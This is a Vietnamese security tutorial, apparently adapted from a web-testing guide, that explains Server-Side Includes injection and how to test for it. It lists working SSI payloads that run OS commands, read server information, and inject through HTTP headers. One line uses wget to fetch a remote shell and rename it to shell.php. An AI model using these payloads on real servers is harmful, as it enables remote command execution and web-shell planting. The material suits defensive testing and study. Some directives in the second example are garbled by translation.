Rate this post

Máy chủ web thường cung cấp cho các nhà phát triển khả năng thêm các đoạn mã động nhỏ bên trong các trang HTML tĩnh mà không cần phải xử lý các ngôn ngữ chính thức phía máy chủ hoặc phía máy khách. Tính năng này được cung cấp bởi Máy chủ phía Bao gồm (SSI).

Các bài viết liên quan:

Phía máy chủ Bao gồm các lệnh mà máy chủ web phân tích cú pháp trước khi cung cấp trang cho người dùng. Chúng đại diện cho một giải pháp thay thế cho việc viết các chương trình CGI hoặc nhúng mã bằng ngôn ngữ kịch bản phía máy chủ, khi chỉ cần thực hiện các tác vụ rất đơn giản. Các triển khai SSI thông thường cung cấp các chỉ thị (lệnh) để bao gồm các tệp bên ngoài, để đặt và in các biến môi trường CGI của máy chủ web hoặc để thực thi các tập lệnh CGI bên ngoài hoặc các lệnh hệ thống.

SSI có thể dẫn đến Thực thi lệnh từ xa (RCE), tuy nhiên hầu hết các máy chủ web đều bị tắt lệnh thực thi theo mặc định.

Đây là một lỗ hổng rất giống với lỗ hổng chèn ngôn ngữ kịch bản cổ điển. Một giảm thiểu là máy chủ web cần được định cấu hình để cho phép SSI. Mặt khác, các lỗ hổng chèn SSI thường dễ khai thác hơn, vì các lệnh SSI rất dễ hiểu và đồng thời khá mạnh mẽ, ví dụ: chúng có thể xuất nội dung của các tệp và thực thi các lệnh hệ thống.

Xem thêm Tìm hiểu tấn công Direct Dynamic Code Evaluation

SSI là gì?

SSI là các lệnh hiện diện trên các ứng dụng Web được sử dụng để cung cấp một trang HTML có nội dung động. Chúng tương tự như CGI, ngoại trừ SSI được sử dụng để thực thi một số hành động trước khi trang hiện tại được tải hoặc trong khi trang đang được hiển thị. Để làm như vậy, máy chủ web phân tích SSI trước khi cung cấp trang cho người dùng.

Cuộc tấn công Server-Side Bao gồm cho phép khai thác một ứng dụng web bằng cách đưa các tập lệnh vào các trang HTML hoặc thực thi các mã tùy ý từ xa. Nó có thể được khai thác thông qua thao tác với SSI đang được sử dụng trong ứng dụng hoặc buộc sử dụng nó thông qua các trường nhập của người dùng.

Có thể kiểm tra xem ứng dụng có đang xác thực dữ liệu trường đầu vào đúng cách hay không bằng cách chèn các ký tự được sử dụng trong lệnh SSI, chẳng hạn như:

<! # = /. "-> và [a-zA-Z0-9]

Một cách khác để phát hiện xem ứng dụng có dễ bị tấn công hay không là xác minh sự hiện diện của các trang có phần mở rộng .stm, .shtm và .shtml. Tuy nhiên, việc thiếu các loại trang này không có nghĩa là ứng dụng được bảo vệ trước các cuộc tấn công SSI.

Trong mọi trường hợp, cuộc tấn công sẽ chỉ thành công nếu máy chủ web cho phép thực thi SSI mà không cần xác thực thích hợp. Điều này có thể dẫn đến việc truy cập và thao tác hệ thống tệp và quá trình dưới sự cho phép của chủ sở hữu quy trình máy chủ web.

Kẻ tấn công có thể truy cập thông tin nhạy cảm, chẳng hạn như tệp mật khẩu và thực hiện các lệnh shell. Các chỉ thị SSI được đưa vào các trường đầu vào và chúng được gửi đến máy chủ web. Máy chủ web phân tích cú pháp và thực thi các lệnh trước khi cung cấp trang. Sau đó, kết quả tấn công sẽ có thể xem được vào lần tiếp theo khi trang được tải cho trình duyệt của người dùng.

Xem thêm Testing security – Network Infrastructure Configuration

Ví dụ:

SSI đưa vào hệ thống hiện hành để thực hiện các lệnh của Hệ điều hành.

Linux

<!--#exec cmd="ls" -->
<!--#exec cmd="cd /root/dir/">
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows

<!--#exec cmd="dir" -->
<!--#exec cmd="cd C:\admin\dir">

Ví dụ 2

Các ví dụ SSI khác có thể được sử dụng để truy cập và đặt thông tin máy chủ:

Để thay đổi đầu ra thông báo lỗi:

<! - # config errmsg = "Không tìm thấy tệp, thông báo cho người dùng và mật khẩu" ->

Để hiển thị tên tệp tài liệu hiện tại:

<! - # echo var = "DOCUMENT_NAME" ->

Để hiển thị đường dẫn ảo và tên tệp:

<! - # echo var = "DOCUMENT_URI" ->

Sử dụng lệnh “config” và tham số “timefmt”, có thể kiểm soát định dạng đầu ra ngày và giờ:

<! - # config timefmt = "A% B% d% Y% r" ->

Sử dụng lệnh “fsize”, có thể in kích thước của tệp đã chọn:

<! - # fsize file = "ssi.shtml" ->

Mục tiêu kiểm tra

Xác định các điểm SSI injection.

Đánh giá mức độ nghiêm trọng của vết injection.

Làm thế nào để kiểm tra

Để kiểm tra SSI có thể khai thác, hãy đưa các chỉ thị SSI làm đầu vào của người dùng. Nếu SSI được bật và xác thực đầu vào của người dùng chưa được triển khai đúng cách, máy chủ sẽ thực thi lệnh. Điều này rất giống với lỗ hổng chèn ngôn ngữ kịch bản cổ điển ở chỗ nó xảy ra khi đầu vào của người dùng không được xác thực và làm sạch đúng cách.

Trước tiên, hãy xác định xem máy chủ web có hỗ trợ các chỉ thị SSI hay không. Thông thường, câu trả lời là có, vì hỗ trợ SSI khá phổ biến. Để xác định xem chỉ thị SSI có được hỗ trợ hay không, hãy khám phá loại máy chủ web mà mục tiêu đang chạy bằng cách sử dụng kỹ thuật thu thập thông tin (xem Máy chủ web vân tay). Nếu bạn có quyền truy cập vào mã, hãy xác định xem chỉ thị SSI có được sử dụng hay không bằng cách tìm kiếm thông qua các tệp cấu hình máy chủ web cho các từ khóa cụ thể.

Một cách khác để xác minh rằng chỉ thị SSI được bật là bằng cách kiểm tra các trang có phần mở rộng .shtml, được liên kết với chỉ thị SSI. Việc sử dụng phần mở rộng .shtml là không bắt buộc, vì vậy việc không tìm thấy bất kỳ tệp .shtml nào không nhất thiết có nghĩa là mục tiêu không dễ bị tấn công SSI.

Bước tiếp theo là xác định tất cả các vectơ đầu vào của người dùng có thể có và kiểm tra để xem liệu việc tiêm SSI có thể khai thác được hay không.

Trước tiên, hãy tìm tất cả các trang cho phép người dùng nhập. Các vectơ đầu vào có thể có cũng có thể bao gồm tiêu đề và cookie. Xác định cách đầu vào được lưu trữ và sử dụng, tức là liệu đầu vào có được trả về dưới dạng thông báo lỗi hoặc phần tử trang hay không và liệu đầu vào có được sửa đổi theo một cách nào đó hay không. Quyền truy cập vào mã nguồn có thể giúp bạn dễ dàng xác định vị trí của các vectơ đầu vào và cách xử lý đầu vào.

Khi bạn có danh sách các điểm tiêm tiềm năng, bạn có thể xác định xem đầu vào có được xác nhận chính xác hay không. Đảm bảo có thể chèn các ký tự được sử dụng trong lệnh SSI như <! # = /. “-> và [a-zA-Z0-9]

Xem thêm Kiểm tra lỗ hổng bảo mật Command Injection

Ví dụ dưới đây trả về giá trị của biến. Phần tài liệu tham khảo có các liên kết hữu ích với tài liệu dành riêng cho máy chủ để giúp bạn đánh giá tốt hơn một hệ thống cụ thể.

<!--#echo var="VAR" -->

Khi sử dụng chỉ thị include, nếu tệp được cung cấp là tập lệnh CGI, thì chỉ thị này sẽ bao gồm đầu ra của tập lệnh CGI. Chỉ thị này cũng có thể được sử dụng để bao gồm nội dung của một tệp hoặc liệt kê các tệp trong một thư mục:

<!--#include virtual="FILENAME" -->

Để trả về kết quả đầu ra của một lệnh hệ thống:

<!--#exec cmd="OS_COMMAND" -->

Nếu ứng dụng dễ bị tấn công, chỉ thị sẽ được đưa vào và nó sẽ được máy chủ thông dịch vào lần tiếp theo trang được phục vụ.

Các chỉ thị SSI cũng có thể được đưa vào các tiêu đề HTTP, nếu ứng dụng web đang sử dụng dữ liệu đó để tạo một trang được tạo động:

GET / HTTP/1.1
Host: www.example.com
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->

Công cụ

Xem thêm Kiểm tra lỗ hổng bảo mật Incubated Vulnerability

Leave a Reply

Call now
%d bloggers like this: